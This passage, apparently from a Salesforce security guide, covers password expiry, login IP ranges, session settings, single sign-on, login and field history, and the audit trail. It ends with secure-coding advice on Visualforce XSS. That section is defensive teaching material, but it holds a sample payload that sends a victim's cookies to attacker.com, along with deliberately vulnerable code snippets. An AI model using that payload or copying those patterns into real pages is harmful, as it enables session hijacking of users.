  • 81. 3. Customize the forgotten password and locked account assistance information. Note: This setting is not available for Self-Service portals, Customer Portals, or partner portals. DescriptionField When set, this custom message appears in the Account Lockout email and at the bottom of the Confirm Identity Message screen for users resetting their passwords. You can customize it with the name of your internal help desk or a system administrator. For the lockout email, the message only appears for accounts that need an administrator to reset them. Lockouts due to time restrictions get a different system email message. If set, this link displays with the text defined in the Message field. In the Account Lockout email, the URL displays just Help link as it is typed into the Help link field, so the user can see where the link takes them. This is a security feature because the user is not within a Salesforce organization. On the Confirm Identity password screen, the Help link URL combines with the text in the Message field to make a clickable link. Security isn’t an issue since the user is in a Salesforce organization when changing passwords. Valid protocols: • http • https • mailto: 4. Specify an alternative home page for users with the “API Only User” permission. After completing user management tasks such as resetting a password, API-only users are redirected to the URL specified here, rather than to the login page. 5. Click Save. Expiring Passwords User Permissions Needed “Manage Users”To expire all passwords: To expire passwords for all users, except those with the “Password Never Expires” permission: 1. From Setup, click Security Controls > Expire All Passwords. 2. Select Expire all user passwords. 3. Click Save. The next time each user logs in, he or she will be prompted to reset his or her password. 75 Expiring PasswordsConfiguring Salesforce Security Features
  • 82. Tips on Expiring Passwords Consider the following when expiring passwords: • After you expire passwords, users might need to activate their computers to successfully log in to Salesforce. • You can expire passwords for all users any time you want to enforce extra security for your organization. • Expire all user passwords does not affect Self-Service portal users, because they are not direct Salesforce users. Restricting Login IP Ranges for Your Organization User Permissions Needed “Login Challenge Enabled”To view network access: “Manage Users”To change network access: Note: Who Sees What: Organization Access Watch how you can restrict login through IP ranges and login hours. To help protect your organization’s data from unauthorized access, you can specify a list of IP addresses from which users can always log in without receiving a login challenge: 1. From Setup, click Security Controls > Network Access. 2. Click New. 3. Enter a valid IP address in the Start IP Address field and a higher IP address in the End IP Address field. The start and end addresses define the range of allowable IP addresses from which users can log in. If you want to allow logins from a single IP address, enter the same address in both fields. For example, to allow logins from only 125.12.3.0, enter 125.12.3.0 as both the start and end addresses. The start and end IP addresses in an IPv4 range must include no more than 33,554,432 addresses (225 , a /7 CIDR block). For example, the following ranges are valid: • 0.0.0.0 to 1.255.255.255 • 132.0.0.0 to 132.255.255.255 • 132.0.0.0 to 133.255.255.255 However, ranges like 0.0.0.0 to 2.255.255.255 or 132.0.0.0 to 134.0.0.0 are too large. The start and end IP addresses in an IPv6 range must include no more than 79,228,162,514,264,337,593,543,950,336 addresses (296 , a /32 CIDR block). For example, the following range is valid: 2001:8000:: to 2001:8000:ffff:ffff:ffff:ffff:ffff:ffff. However, ranges like :: to ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff or 2001:8000:: to 2001:8001:: are too large. 4. Click Save. Note: For organizations that were activated before December 2007, Salesforce automatically populated your organization’s trusted IP address list in December 2007, when this feature was introduced. The IP addresses from which trusted users had already accessed Salesforce during the past six months were added. Note: Both IP addresses in a range must be either IPv4 or IPv6. In ranges, IPv4 addresses exist in the IPv4-mapped IPv6 address space ::ffff:0:0 to ::ffff:ffff:ffff, where ::ffff:0:0 is 0.0.0.0 and ::ffff:ffff:ffff is 255.255.255.255. A range can’t include IP addresses inside of the IPv4-mapped IPv6 address space if it also 76 Restricting Login IP Ranges for Your OrganizationConfiguring Salesforce Security Features
  • 83. includes IP addresses outside of the IPv4-mapped IPv6 address space. Ranges such as 255.255.255.255 to ::1:0:0:0 or :: to ::1:0:0:0 are not allowed. You can set up IPv6 addresses in all organizations, but IPv6 is only enabled for login in sandbox organizations from the Spring ’12 release and later. Setting Session Security User Permissions Needed “Customize Application”To set session security: You can modify session security settings to specify connection type, timeout settings, and more. 1. From Setup, click Security Controls > Session Settings. 2. Customize the session security settings. DescriptionField Length of time after which the system logs out inactive users. For Portal users, the timeout is between 10 minutes and 12 hours even though you Timeout value can only set it as low as 15 minutes. Select a value between 15 minutes and 12 hours. Choose a shorter timeout period if your organization has sensitive information and you want to enforce stricter security. Note: The last active session time value isn’t updated until halfway through the timeout period. That is, if you have a 30 minute timeout, the system won’t check for activity until 15 minutes have passed. For example, assume you have a 30 minute timeout value. If you update a record after 10 minutes, the last active session time value won’t be updated because there was no activity after 15 minutes. You’ll be logged out in 20 more minutes (30 minutes total) because the last active session time wasn’t updated. Suppose you update a record after 20 minutes. That’s five minutes after the last active session time is checked, so your timeout resets and you have another 30 minutes before being logged out, for a total of 50 minutes. Determines whether the system prompts inactive users with a timeout warning message. Users are prompted 30 seconds before timeout as specified by the Timeout value. Disable session timeout warning popup Determines whether user sessions are locked to the IP address from which the user logged in; helping to prevent unauthorized persons from hijacking a valid session. Lock sessions to the IP address from which they originated Note: This may inhibit various applications and mobile devices. 77 Setting Session SecurityConfiguring Salesforce Security Features
  • 84. DescriptionField Determines whether HTTPS is required to log in to or access Salesforce, apart from Force.com sites, which can still be accessed using HTTP. This option is enabled by default for security reasons. Require secure connections (HTTPS) Note: The Resetting Passwords page can only be accessed using HTTPS. Determines whether an administrator that is logged in as another user is returned to their previous session after logging out as the secondary user. If the option is enabled, an administrator must log in again to continue using Salesforce after logging out as the user; otherwise, the administrator is returned to their original session after logging out as the user. Force relogin after Login-As-User Restricts session ID cookie access. A cookie with the HttpOnly attribute is not accessible via non-HTTP methods, such as calls from JavaScript. Require HttpOnly attribute Note: If you have a custom or packaged application that uses JavaScript to access session ID cookies, selecting Require HttpOnly attribute breaks your application because it denies the application access to the cookie. The Developer Console and AJAX Toolkit debugging window are also not available if the Require HttpOnly attribute is selected. Allows the user’s browser to store usernames. If enabled, after an initial log in, usernames are auto-filled into the User Name field on the login Enable caching and password autocomplete on login page page. This preference is selected by default and caching and autocomplete are enabled. Enables users to receive a one-time PIN delivered via SMS. Once enabled, administrators or users must verify their mobile phone number Enable SMS-based identity confirmation before taking advantage of this feature. This setting is selected by default for all organizations. Specifies a range of IP addresses users must log in from (inclusive), or the login will fail. Users need to activate their computers to successfully log in from IP addresses outside this range. To specify a range, click New and enter a lower and upper IP address to define the range. Login IP Ranges This field is not available in Enterprise, Unlimited, Performance, and Developer Editions. In those editions, you can specify valid IP addresses per profile. Protects against clickjack attacks on setup Salesforce pages. Clickjacking is also known as a user interface redress attack. (Setup pages are available from the Setup menu.) Enable clickjack protection for setup pages Protects against clickjack attacks on non-setup Salesforce pages. Clickjacking is also known as a user interface redress attack. Setup pages Enable clickjack protection for non-setup Salesforce pages 78 Setting Session SecurityConfiguring Salesforce Security Features
  • 85. DescriptionField already include protection against clickjack attacks. (Setup pages are available from the Setup menu.) This setting is selected by default for all organizations. Protects against clickjack attacks on your Visualforce pages. Clickjacking is also known as a user interface redress attack. Enable clickjack protection for non-setup customer Visualforce pages Warning: If you use custom Visualforce pages within a frame or iframe, you may see a blank page or the page may display without the frame. For example, Visualforce pages in a page layout do not function when clickjack protection is on. Protects against Cross Site Request Forgery (CSRF) attacks by modifying non-setup pages to include a random string of characters in the URL Enable CSRF protection on GET requests on non-setup pages parameters or as a hidden form field. With every GET and POST Enable CSRF protection on POST requests on non-setup pages request, the application checks the validity of this string of characters and doesn’t execute the command unless the value found matches the value expected. This setting is selected by default for all organizations. 3. Click Save. Session-level Security You can restrict access to certain types of resources based on the level of security associated with the authentication (login) method for the user’s current session. By default, each login method has one of two security levels: Standard or High Assurance. You can change the session security level and define policies so specified resources are only available to users with a High Assurance level. The different authentication methods are assigned these security levels, by default. • Username and Password — Standard • Delegated Authentication — Standard • Two-Factor Authentication — High Assurance • Authentication Provider — Standard • SAML — Standard Note: The security level for a SAML session can also be specified using the SessionLevel attribute of the SAML assertion sent by the identity provider. The attribute can take one of two values, STANDARD or HIGH_ASSURANCE. To change the security level associated with a login method: 1. From Setup, click Security Controls > Session Settings. 2. Under Session Security Levels, select the login method. 3. Click the Add or Remove arrow to move it to the proper category. Currently, the only features that use session-level security are connected apps, reports, and dashboards. You can set policies requiring High Assurance on these types of resources and specify an action to take if the session used to access the resource is not High Assurance. The two supported actions are: • Block — This blocks access to the resource by showing an insufficient privileges error. • Raise session level — This redirects you to a Two-Factor Authentication flow for raising the session’s security level to High Assurance. Once you complete the flow successfully, you can access the resource. 79 Setting Session SecurityConfiguring Salesforce Security Features
  • 86. To set a High Assurance required policy for accessing a connected app: 1. From Setup, go to Administer > Manage Apps > Connected Apps. 2. Click Edit next to the connected app. 3. Select High Assurance session required. 4. Select one of the two actions presented. 5. Click Save. To set a High Assurance required policy for accessing reports and dashboards: 1. From Setup, go to Build > Customize > Reports & Dashboards > Access Policies. 2. Select the High Assurance session required. 3. Select one of the two actions presented. 4. Click Save. The session levels have no impact on any resources in the app other than connected apps, reports, and dashboards for which explicit security policies have been defined. 80 Setting Session SecurityConfiguring Salesforce Security Features
  • 87. Chapter 4 Enabling Single Sign-On Salesforce offers two ways to use single sign-on: • Delegated Authentication: When delegated authentication is enabled, Salesforce does not validate a user’s password. Instead, Salesforce makes a Web services call to your organization to establish authentication credentials for the user. You must request that this feature be enabled by salesforce.com. Contact salesforce.com to enable delegated authentication single sign-on for your organization. For more information, see “Understanding Delegated Authentication Single Sign-On” in the Salesforce online help. • Federated Authentication: When federated authentication is enabled, Salesforce does not validate a user’s password. Instead, Salesforce verifies an assertion in the HTTP POST request, and allows single sign-on if the assertion is true. This is the default form of single sign-on. Federated authentication is available in all Editions. For more information, see “Configuring SAML Settings for Single Sign-On” in the Salesforce online help. Benefits of Single Sign-On Implementing single sign-on can offer the following advantages to your organization: • ReducedAdministrativeCosts: With single sign-on, users only need to memorize a single password to access both network resources or external applications and Salesforce. When accessing Salesforce from inside the corporate network, users are logged in seamlessly, without being prompted to enter a username or password. When accessing Salesforce from outside the corporate network, the users’ corporate network login works to log them in. With fewer passwords to manage, system administrators receive fewer requests to reset forgotten passwords. • Leverage Existing Investment: Many companies use a central LDAP database to manage user identities. By delegating Salesforce authentication to this system, when a user is removed from the LDAP system, they can no longer access Salesforce. Consequently, users who leave the company automatically lose access to company data after their departure. • Time Savings: On average, a user takes five to 20 seconds to log in to an online application; longer if they mistype their username or password and are prompted to reenter them. With single sign-on in place, the need to manually log in to Salesforce is avoided. These saved seconds add up to increased productivity. • Increased User Adoption: Due to the convenience of not having to log in, users are more likely to use Salesforce on a regular basis. For example, users can send email messages that contain links to information in Salesforce.com such as records and reports. When the recipients of the email message click the links, the corresponding Salesforce.com page opens automatically. • Increased Security: Any password policies that you have established for your corporate network will also be in effect for Salesforce. In addition, sending an authentication credential that is only valid for a single use can increase security for users who have access to sensitive data. Delegated Authentication Best Practices Consider the following best practices when implementing delegated authentication single sign-on for your organization. • Your organization’s implementation of the Web service must be accessible by salesforce.com servers. This means you must deploy the Web service on a server in your DMZ. Remember to use your server’s external DNS name when entering the Delegated Gateway URL in the Delegated authentication section in Salesforce (from Setup, click Security Controls > Single Sign-On Settings). 81
  • 88. • If salesforce.com and your system cannot connect, or the request takes longer than 10 seconds to process, the login attempt fails. An error is reported to the user indicating that his or her corporate authentication service is down. • Namespaces, element names, and capitalization must be exact in SOAP requests. Wherever possible, generate your server stub from the WSDL to ensure accuracy. • For security reasons, you should make your Web service available by SSL only. You must use an SSL certificate from a trusted provider, such as Verisign or Thawte. For a full list of trusted providers, contact salesforce.com. • The IP address that originated the login request is sourceIp. Use this information to restrict access based on the user’s location. Note that the Salesforce feature that validates login IP ranges continues to be in effect for single sign-on users. For more information, see Setting Login Restrictions on page 36. • You may need to map your organization’s internal usernames and Salesforce usernames. If your organization does not follow a standard mapping, you may be able to extend your user database schema (for example, Active Directory) to include the Salesforce username as an attribute of a user account. Your authentication service can then use this attribute to map back to a user account. • We recommend that you do not enable single sign-on for system administrators. If your system administrators are single sign-on users and your single sign-on server has an outage, they have no way to log in to Salesforce. System administrators should always be able to log in to Salesforce so they can disable single sign-on in the event of a problem. • We recommend that you use a Developer Edition account or a sandbox when developing a single sign-on solution before implementing it in your organization. To sign up for a free Developer Edition account, go to developer.force.com. • Make sure to test your implementation with Salesforce.com clients such as Salesforce for Outlook, Connect for Office, and Connect Offline. For more information, see Single Sign-On for Salesforce clients. Federated Authentication using SAML Best Practices Consider the following best practices when implementing federated single sign-on with SAML for your organization. • Obtain the Recipient URL value from the configuration page and put it in the corresponding configuration parameter of your Identity Provider. • Salesforce allows a maximum of three minutes for clock skew with your IDP server; make sure your server’s clock is up-to-date. • If you are unable to log in with SAML assertion, always check the login history and note the error message. • You need to map your organization’s internal usernames and Salesforce usernames. You have two choices to do this: add a unique identifier to the FederationIdentifier field of each Salesforce user, or extend your user database schema (for example, Active Directory) to include the Salesforce username as an attribute of a user account. Choose the corresponding option for the SAML User ID Type field and configure your authentication service to send the identifier in SAML assertions. • Before allowing users to log in with SAML assertions, enable the SAML organization preference and provide all the necessary configurations. • We recommend that you use Developer Edition account or a sandbox when testing a SAML single sign-on solution. To sign up for a free Developer Edition account, go to developer.force.com. • All sandbox copies are made with federated authentication with SAML disabled. Any configuration information is preserved, except the value for Recipient URL. The Recipient URL is updated to match your sandbox URL, for example http://cs1.salesforce.com, after you re-enable SAML. To enable SAML in the sandbox copy, from Setup, click Security Controls > Single Sign-On Settings; then click Edit, and select SAML Enabled. • Your identity provider must allow you to set the service provider’s audience URL. The value must match the Entity ID value in the single sign-on configuration. The default value is https://saml.salesforce.com. Single Sign-On for Portals Best Practices Customer Portals and partner portals are not available for new organizations in the Summer ’13 release or later. Use Communities instead. For more information about single sign-on and SAML for Communities, see “Configuring SAML for Communities” in Getting Started With Communities. If you continue to use portals, note the following information. • Only SAML version 2.0 can be used with portals. • Only Customer Portals and partner portals are supported. • Service provider initiated login is not supported. 82 Enabling Single Sign-On
  • 89. • Both the portal_id and organization_id attributes are required for single sign-on for portals. If only one is specified, the user receives an error. • If both the portal_id and organization_id attributes are populated in the SAML assertion, the user is directed to that portal login. If neither is populated, the user is directed to the regular SAML Salesforce login. • More than one portal can be used with a single organization. 83 Enabling Single Sign-On
  • 90. Chapter 5 Monitoring Your Organization's Security Review the following sections for detailed instructions and tips on monitoring the security of your Salesforce organization. Monitoring Login History User Permissions Needed “Manage Users”To monitor logins: On this page, Administrators can monitor the successful and failed login attempts for their organization and enabled portals. The columns on this page provide information about each login attempt. The login history page displays the most recent 20,000 entries in the login history database. If you need to see more records, you can download the information to a CSV or GZIP file. Contact Manager, Group, Professional, Enterprise, Unlimited, Performance, and Developer Editions To download the information into a CSV or GZIP file: 1. From Setup, click Manage Users > Login History. 2. Click one of the following radio buttons: • Excel csv file: This downloads a CSV file of all user logins to your Salesforce organization for the past six months. This report includes logins through the API. • gzipped Excel csv file: This downloads a CSV file of all user logins to your Salesforce organization for the past six months. This report includes logins through the API. The file is compressed and this is the preferred option for quickest download time. 3. Select the file contents. You can choose All Logins, IE6 Logins Only, or Web Site Logins Only. 4. Click Download Now. Note: Older versions of Microsoft Excel cannot open files with more than 65,536 rows. If you cannot open a large file in Excel, see the Microsoft Help and Support article about handling large files. You can create new list views sorted by Login Time and Login URL. For example, you could create a view of all logins between a particular time range. Like the default view, a custom view filters the most recent 20,000 rows in the login history database. To create a new view, click Create New View from the page. Fill in the following: 1. Enter View Name Enter the name to appear in the View drop-down list. 2. Specify Filter Criteria. 84
  • 91. You can filter by Login Time and Login URL. 3. Select Fields to Display The default fields are automatically selected. You can choose up to 15 different fields to display in your view. You can display only the fields that are available in your page layout. When you select a long text area field, up to 255 characters are displayed in the list view. To see the last ten successful and failed logins for a specific user, from Setup, click Manage Users > Users, click on the Full Name for the user, and scroll to the Login History section. Viewing Your Login History To view your personal login history: 1. At the top of any Salesforce page, click the down arrow next to your name. From the menu under your name, select Setup or My Settings—whichever one appears. 2. From the left pane, select one of the following: • If you clicked Setup, click MyPersonalInformation > PersonalInformation, then scroll to the Login History related list to view your last ten logins. • If you clicked My Settings, click Personal > Login History. 3. To download a CSV file of your login history for the past six months, click the Download... link. Note: For security purposes, Salesforce may require users to pass a CAPTCHA user verification test to export data from their organization. This simple text-entry test prevents malicious programs from accessing your organization's data. To pass the test, users must correctly type the two words displayed on the overlay into the overlay's text box field. Note that the words entered into the text box field must be separated by a space. Single Sign-On with SAML If your organization has set up single sign-on using identity provider certificates (written in SAML), you may see login history messages specific to single sign-on. My Domain If you are using My Domain, you can identify which users are logging in with the new login URL, and when. From Setup, click Manage Users > Login History and look at the Username and Login URL columns. Tracking Field History You can select certain fields to track, and display the field history in the History related list of an object. You can track the field history of custom objects, as well as the history of the following standard objects: • Accounts • Cases • Contacts • Entitlements • Service contracts • Contract line items • Contracts • Leads • Opportunities • Articles 85 Tracking Field HistoryMonitoring Your Organization's Security
  • 92. • Solutions Modifying any of these fields adds a new entry to the History related list. All entries include the date, time, nature of the change, and who made the change. Note that not all field types are available for history tracking. Certain changes, such as case escalations, are always tracked. Considerations • Changes to fields with more than 255 characters are tracked as edited, and their old and new values are not recorded. • Tracked field values are not automatically translated; they display in the language in which they were made. For example, if a field is changed from Green to Verde, Verde is displayed no matter what a user’s language is, unless the field value has been translated into other languages via the Translation Workbench. This also applies to record types and picklist values. • Changes to custom field labels that have been translated via the Translation Workbench are shown in the locale of the user viewing the History related list. For example, if a custom field label is Red and translated into Spanish as Rojo, then a user with a Spanish locale will see the custom field label as Rojo. Otherwise, the user will see the custom field label as Red. • Changes to date fields, number fields, and standard fields are shown in the locale of the user viewing the History related list. For example, a date change to August, 5, 2012 shows as 8/5/2012 for a user with the English (United States) locale, and as 5/8/2012 for a user with the English (United Kingdom) locale. Tracking Field History for Standard Objects Available in: ContactManager, Group, Professional, Enterprise, Performance, Unlimited, Developer, and Database.com Editions Standard Objects are not available in Database.com User Permissions Needed “Customize Application”To set up which fields are tracked: If you use both business accounts and person accounts, review the following before enabling account field history tracking: • Field history tracking for accounts affects both business accounts and person accounts. • Enabling field history tracking on person accounts does not enable field history tracking on personal contacts. To set up field history tracking: 1. From Setup, click Customize. 2. Select the object you want to configure. 3. Click Fields > Set History Tracking. Note: When you enable tracking for an object, be sure to customize your page layouts to include the object’s history related list. 4. For accounts, contacts, leads, and opportunities, select the Enable Account History, Enable Contact History, Enable Lead History, or Enable Opportunity History checkbox. 5. Choose the fields you want tracked. You can select a combination of up to 20 standard and custom fields per object. This limit includes fields on business accounts and person accounts. 86 Tracking Field History for Standard ObjectsMonitoring Your Organization's Security
  • 93. Certain changes, such as case escalations, are always tracked. You can’t track the following fields: • Formula, roll-up summary, or auto-number fields • Created By and Last Modified By • Expected Revenue field on opportunities • Master Solution Title or the Master Solution Details fields on solutions; these fields display only for translated solutions in organizations with multilingual solutions enabled. 6. Click Save. Salesforce tracks history from this date and time forward. Changes made prior to this date and time are not included. Tracking Field History for Custom Objects Available in: ContactManager, Group, Professional, Enterprise, Performance, Unlimited, Developer, and Database.com Editions Standard Objects are not available in Database.com User Permissions Needed “Customize Application”To set up which fields are tracked: To track field history for custom objects: 1. From Setup, click Create > Objects. 2. Click Edit next to the name of the custom object. 3. Select the Track Field History checkbox. Note: When you enable tracking for an object, be sure to customize your page layouts to include the object’s history related list. 4. Click Save. 5. Click Set History Tracking in the Custom Fields & Relationships section. This section allows you to set a custom object’s history for both standard and custom fields. 6. Choose the fields you want tracked. You can select up to 20 standard and custom fields per object. You can’t track: • Formula, roll-up summary, or auto-number fields • Created By and Last Modified By 7. Click Save. Salesforce tracks history from this date and time forward. Changes made prior to this date and time are not included. Methods for Archiving Field History To archive field history, you can use one of the following options: 87 Tracking Field History for Custom ObjectsMonitoring Your Organization's Security
  • 94. • Schedule a regular export of FieldHistory data. • Export an object-specific field history report to a CSV file. • Run a query using the SOAP API and save your results. Note: Salesforce is offering a field history retention pilot that lets you use the API to specify field history retention date ranges. See the Spring ’14 release notes for more information. Disabling Field History Tracking Available in: ContactManager, Group, Professional, Enterprise, Performance, Unlimited, Developer, and Database.com Editions Standard Objects are not available in Database.com User Permissions Needed “Customize Application”To set up which fields are tracked: Note: You cannot disable field history tracking for an object if a field on the object is referenced in Apex. 1. Select the object whose field history tracking you want to disable. a. For standard objects, from Setup, click Customize. b. For custom objects, from Setup, click Create > Objects. 2. Deselect the Track Field History checkbox. If you deselect the checkbox, the History related list is automatically removed from the associated object’s page layouts. If you disable field history tracking on a standard object, you can still report on its history data up to the date and time that you disabled tracking. If you disable field history tracking on a custom object, then you cannot report on its field history. Monitoring Setup Changes User Permissions Needed “View Setup and Configuration”To view audit trail history: The setup audit trail history helps you track the recent setup changes that you and other administrators have made to your organization. This can be especially useful in organizations with multiple administrators. To view the setup audit trail history, from Setup, click Security Controls > View Setup Audit Trail. To download your organization’s full setup history for the past 180 days, click the Download link. The setup audit trail history shows you the 20 most recent setup changes made to your organization. It lists the date of the change, who made it, and what the change was. Additionally, if a delegate (such as an administrator or customer support representative) makes a setup change on behalf of an end-user, the Delegate User column shows the delegate’s username. For 88 Disabling Field History TrackingMonitoring Your Organization's Security
  • 95. example, if a user grants login access to an administrator and the administrator makes a setup change, the administrator’s username is listed. The setup audit trail history tracks the following types of changes: Changes TrackedSetup Administration • Company information, default settings such as language or locale, and company message changes • Multiple currency setup changes • User, portal user, role, permission set, and profile changes • Email address changes for any user • Deleting email attachments sent as links • Creating, editing, or deleting email footers • Record type changes, including creating or renaming record types and assigning record types to profiles • Changes to divisions, including creating and editing divisions, transferring divisions, and changing users’ default division • Adding or deleting certificates • Domain name changes • Enabling or disabling Salesforce as an identity provider Customization • Changes to user interface settings, such as collapsible sections, Quick Create, hover details, or the related list hover links • Page layout, action layout, and search layout changes • Changes to compact layouts • Changes to the Salesforce1 navigation menu • Changes made using inline editing • Custom field and field-level security changes, including changes to formulas, picklist values, and custom field attributes like the format of auto-number fields or masking of encrypted fields • Changes to lead settings, lead assignment rules, and lead queues • Changes to activity settings • Changes to support settings, business hours, case assignment and escalation rules, and case queues • Any changes made by salesforce.com Customer Support at your request • Changes to tab names, including tabs that you reset to the original tab name • Changes to custom apps (including Salesforce console apps), custom objects, and custom tabs • Changes to contract settings • Changes to forecast settings • Enabling or disabling Email-to-Case or On-Demand Email-to-Case • Changes to custom buttons, links, and s-controls, including standard button overrides • Enabling or disabling drag-and-drop scheduling • Enabling, disabling, or customizing similar opportunities • Enabling or disabling quotes • Changes to data category groups, data categories, and category-group assignments to objects • Changes to article types • Changes to category groups and categories • Changes to Salesforce Knowledge settings • Changes to ideas settings 89 Monitoring Setup ChangesMonitoring Your Organization's Security
  • 96. Changes TrackedSetup • Changes to answers settings • Changes to field tracking in feeds • Changes to campaign influence settings • Activating or deactivating critical updates • Enabling or disabling Chatter email notifications • Enabling or disabling Chatter new user creation settings for invitations and email domains Security and Sharing • Public groups, sharing rule changes, and organization-wide sharing, including the Grant Access Using Hierarchies option • Password policy changes • Session settings changes, such as changing the session timeout setting • Changes to delegated administration groups and the items delegated administrators can manage. Setup changes made by delegated administrators are tracked as well. • How many records a user emptied from their Recycle Bin and from the organization’s Recycle Bin • Changes to SAML (Security Assertion Markup Language) configuration settings • Changes to Salesforce certificates • Enabling or disabling identity providers • Changes to service providers Data Management • Mass delete use, including when a mass delete exceeds the user’s Recycle Bin limit of 5000 deleted records. The oldest, excess records will be permanently removed from the Recycle Bin within two hours of the mass delete transaction time. • Data export requests • Use of the campaign member import wizard • Mass transfer use • Changes to analytic snapshots, including defining, deleting, or changing the source report or target object on an analytic snapshot • Import wizard use Development • Changes to Apex classes and triggers • Changes to Visualforce pages, custom components, or static resources • Changes to Flexible Pages • Changes to custom settings • Changes to remote access definitions • Changes to Force.com Sites settings Various Setup • Creation of an API usage metering notification • Changes to territories • Changes to Workflow & Approvals settings • Changes to approval processes • Creation and deletion of workflow actions • Changes to Visual Workflow files • Packages from Force.com AppExchange that you installed or uninstalled 90 Monitoring Setup ChangesMonitoring Your Organization's Security
  • 97. Changes TrackedSetup Using the application • Changes to account team and opportunity team selling settings • Activation of Google Apps services • Changes to mobile configuration settings, including data sets, mobile views, and excluded fields • A user with the “Manage External Users” permission logging into the partner portal as a partner user • A user with the “Edit Self-Service Users” permission logging into the Salesforce Customer Portal as a Customer Portal user • Enabling or disabling a partner portal account • Disabling a Salesforce Customer Portal account • Enabling or disabling a Salesforce Customer Portal and creating multiple Customer Portals • Creating and changing entitlement processes and entitlement templates • Enabling or disabling self-registration for a Salesforce Customer Portal • Enabling or disabling Customer Portal or partner portal users 91 Monitoring Setup ChangesMonitoring Your Organization's Security
  • 98. Chapter 6 Security Tips for Apex and Visualforce Development Available in: Group, Professional, Enterprise, Performance, Unlimited, Developer, and Database.com Editions Visualforce is not available in Database.com. Understanding Security The powerful combination of Apex and Visualforce pages allow Force.com developers to provide custom functionality and business logic to Salesforce or create a completely new stand-alone product running inside the Force.com platform. However, as with any programming language, developers must be cognizant of potential security-related pitfalls. Salesforce.com has incorporated several security defenses into the Force.com platform itself. However, careless developers can still bypass the built-in defenses in many cases and expose their applications and customers to security risks. Many of the coding mistakes a developer can make on the Force.com platform are similar to general Web application security vulnerabilities, while others are unique to Apex. To certify an application for AppExchange, it is important that developers learn and understand the security flaws described here. For additional information, see the Force.com Security Resources page on Developer Force at http://wiki.developerforce.com/page/Security. Cross-Site Scripting (XSS) Cross-site scripting (XSS) attacks cover a broad range of attacks where malicious HTML or client-side scripting is provided to a Web application. The Web application includes malicious scripting in a response to a user of the Web application. The user then unknowingly becomes the victim of the attack. The attacker has used the Web application as an intermediary in the attack, taking advantage of the victim's trust for the Web application. Most applications that display dynamic Web pages without properly validating the data are likely to be vulnerable. Attacks against the website are especially easy if input from one user is intended to be displayed to another user. Some obvious possibilities include bulletin board or user comment-style websites, news, or email archives. For example, assume the following script is included in a Force.com page using a script component, an on* event, or a Visualforce page. <script>var foo = '{!$CurrentPage.parameters.userparam}';script>var foo = '{!$CurrentPage.parameters.userparam}';</script> This script block inserts the value of the user-supplied userparam onto the page. The attacker can then enter the following value for userparam: 1';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo='2 In this case, all of the cookies for the current page are sent to www.attacker.com as the query string in the request to the cookie.cgi script. At this point, the attacker has the victim's session cookie and can connect to the Web application as if they were the victim. 92
  • 99. The attacker can post a malicious script using a Website or email. Web application users not only see the attacker's input, but their browser can execute the attacker's script in a trusted context. With this ability, the attacker can perform a wide variety of attacks against the victim. These range from simple actions, such as opening and closing windows, to more malicious attacks, such as stealing data or session cookies, allowing an attacker full access to the victim's session. For more information on this attack in general, see the following articles: • http://www.owasp.org/index.php/Cross_Site_Scripting • http://www.cgisecurity.com/xss-faq.html • http://www.owasp.org/index.php/Testing_for_Cross_site_scripting • http://www.google.com/search?q=cross-site+scripting Within the Force.com platform there are several anti-XSS defenses in place. For example, salesforce.com has implemented filters that screen out harmful characters in most output methods. For the developer using standard classes and output methods, the threats of XSS flaws have been largely mitigated. However, the creative developer can still find ways to intentionally or accidentally bypass the default controls. The following sections show where protection does and does not exist. Existing Protection All standard Visualforce components, which start with <apex>, have anti-XSS filters in place. For example, the following code is normally vulnerable to an XSS attack because it takes user-supplied input and outputs it directly back to the user, but the <apex:outputText> tag is XSS-safe. All characters that appear to be HTML tags are converted to their literal form. For example, the < character is converted to &lt; so that a literal < displays on the user's screen. <apex:outputText> {!$CurrentPage.parameters.userInput} </apex:outputText> Disabling Escape on Visualforce Tags By default, nearly all Visualforce tags escape the XSS-vulnerable characters. It is possible to disable this behavior by setting the optional attribute escape="false". For example, the following output is vulnerable to XSS attacks: <apex:outputText escape="false" value="{!$CurrentPage.parameters.userInput}" /> Programming Items Not Protected from XSS The following items do not have built-in XSS protections, so take extra care when using these tags and objects. This is because these items were intended to allow the developer to customize the page by inserting script commands. It does not makes sense to include anti-XSS filters on commands that are intentionally added to a page. Custom JavaScript If you write your own JavaScript, the Force.com platform has no way to protect you. For example, the following code is vulnerable to XSS if used in JavaScript. <script> var foo = location.search; document.write(foo); </script> <apex:includeScript> The <apex:includeScript> Visualforce component allows you to include a custom script on the page. In these cases, be very careful to validate that the content is safe and does not include user-supplied data. For example, the following snippet is extremely vulnerable because it includes user-supplied input as the value of the script text. The value 93 Cross-Site Scripting (XSS)Security Tips for Apex and Visualforce Development
  • 100. provided by the tag is a URL to the JavaScript to include. If an attacker can supply arbitrary data to this parameter (as in the example below), they can potentially direct the victim to include any JavaScript file from any other website. <apex:includeScript value="{!$CurrentPage.parameters.userInput}" /> Formula Tags The general syntax of these tags is:{!FUNCTION()} or {!$OBJECT.ATTRIBUTE}. For example, if a developer wanted to include a user's session ID in a link, they could create the link using the following syntax: <a href="http://partner.domain.com/integration/?sid={!$Api.Session_ID}&server={!$Api.Partner_Server_URL_130}"> Go to portal</a> Which renders output similar to the following: <a href="http://partner.domain.com/integration/?sid=4f0900D30000000Jsbi%21AQoAQNYaPnVyd_6hNdIxXhzQTMaa SlYiOfRzpM18huTGN3jC0O1FIkbuQRwPc9OQJeMRm4h2UYXRnmZ5wZufIrvd9DtC_ilA&server=https://na1.salesforce.com /services/Soap/u/13.0/4f0900D30000000Jsbi">Go to portal</a> Formula expressions can be function calls or include information about platform objects, a user's environment, system environment, and the request environment. An important feature of these expressions is that data is not escaped during rendering. Since expressions are rendered on the server, it is not possible to escape rendered data on the client using JavaScript or other client-side technology. This can lead to potentially dangerous situations if the formula expression references non-system data (that is potentially hostile or editable data) and the expression itself is not wrapped in a function to escape the output during rendering. A common vulnerability is created by the use of the {!$Request.*} expression to access request parameters. <html> <head> <title>{!$Request.title}</title> </head> <body>Hello world!</body> </html> Unfortunately, the unescaped {!$Request.title} tag also results in a cross-site scripting vulnerability. For example, the request: 